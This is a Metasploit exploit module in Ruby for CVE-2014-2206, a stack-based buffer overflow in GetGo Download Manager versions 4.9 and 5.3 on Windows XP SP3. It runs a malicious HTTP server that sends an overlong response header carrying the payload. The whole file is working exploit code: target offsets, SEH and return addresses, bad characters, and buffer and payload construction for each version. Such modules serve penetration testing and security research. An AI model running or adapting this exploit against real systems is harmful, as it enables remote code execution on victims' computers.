126 lines
4.0 KiB
Ruby
126 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Seh
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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GetGo Download Manager version 5.3.0.2712 earlier, caused by an
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overly long HTTP response header.
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By persuading the victim to download a file from a malicious server, a
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remote attacker could execute arbitrary code on the system or cause
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the application to crash. This module has been tested successfully on
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Windows XP SP3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Julien Ahrens', # Vulnerability discovery
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'Gabor Seljan', # Metasploit module for v4
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'bzyo', # Metasploit module for v5
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'sinn3r' # Helping Gabor and bzyo (see #4588 & #9642)
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],
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'References' =>
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[
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[ 'EDB', '32132' ],
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[ 'OSVDB', '103910' ],
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[ 'CVE', '2014-2206' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'URIPATH' => "/shakeitoff.mp3"
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},
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'Platform' => 'win',
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'Payload' =>
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{
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# v5 has no bad chars
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'BadChars' => "\x00\x0a\x0d"
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},
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'Targets' =>
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[
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[
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'Automatic', {}
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],
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[ '4.9.0.1982 on Windows XP SP3',
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{
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'Offset' => 4107,
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'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30]
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}
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],
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[
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'5.3.0.2712 on Windows XP SP3',
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{
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'Offset' => 4095,
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# 0:016> u 0x72d11f39
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# msacm32!wodMessage+0xd0f:
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# 72d11f39 5f pop edi
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# 72d11f3a 5e pop esi
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# 72d11f3b c20400 ret 4
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'Ret' => 0x72d11f39,
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# 12253 is the same size the python PoC used
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'MaxSize' => 12253
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => '2014-03-09',
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'DefaultTarget' => 0))
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end
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# This part is from Gabor Seljan
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def exploit_v4(cli, current_taget)
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sploit = rand_text_alpha(current_taget['Offset'])
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sploit << "\x90\x90\xEB\x06"
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sploit << [current_taget.ret].pack('V')
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sploit << payload.encoded
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print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
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resp = create_response(200, sploit)
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resp.body = ""
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cli.send_response(resp)
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end
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# This part is from Auxilus with some help from @_sinn3r
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def exploit_v5(cli, current_taget)
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seh_record = generate_seh_record(current_taget.ret)
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# Minus 4 for the SEH record
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buffer = Rex::Text.rand_text_alpha(current_taget['Offset'] - 4)
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buffer << seh_record
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buffer << payload.encoded
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buffer << Rex::Text.rand_text_alpha(current_taget['MaxSize'] - buffer.length)
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res = create_response(200, buffer)
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cli.send_response(res)
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end
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def on_request_uri(cli, request)
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print_status("#{cli.peerhost} connected")
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current_target = target
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user_agent = request.headers['User-Agent'].to_s
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if current_target == targets[1] || user_agent.match(/GetGo Download Manager 4\.0/)
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print_status('Attempting to exploit against v4')
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current_target = targets[1]
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exploit_v4(cli, current_target)
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elsif current_target == targets[2] || user_agent.match(/GetGo Download Manager 5\.0/)
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print_status('Attempting to exploit against v5')
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current_target = targets[2]
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exploit_v5(cli, current_target)
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else
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print_error('Sending 404 for unknown user-agent')
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send_not_found(cli)
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end
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end
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end
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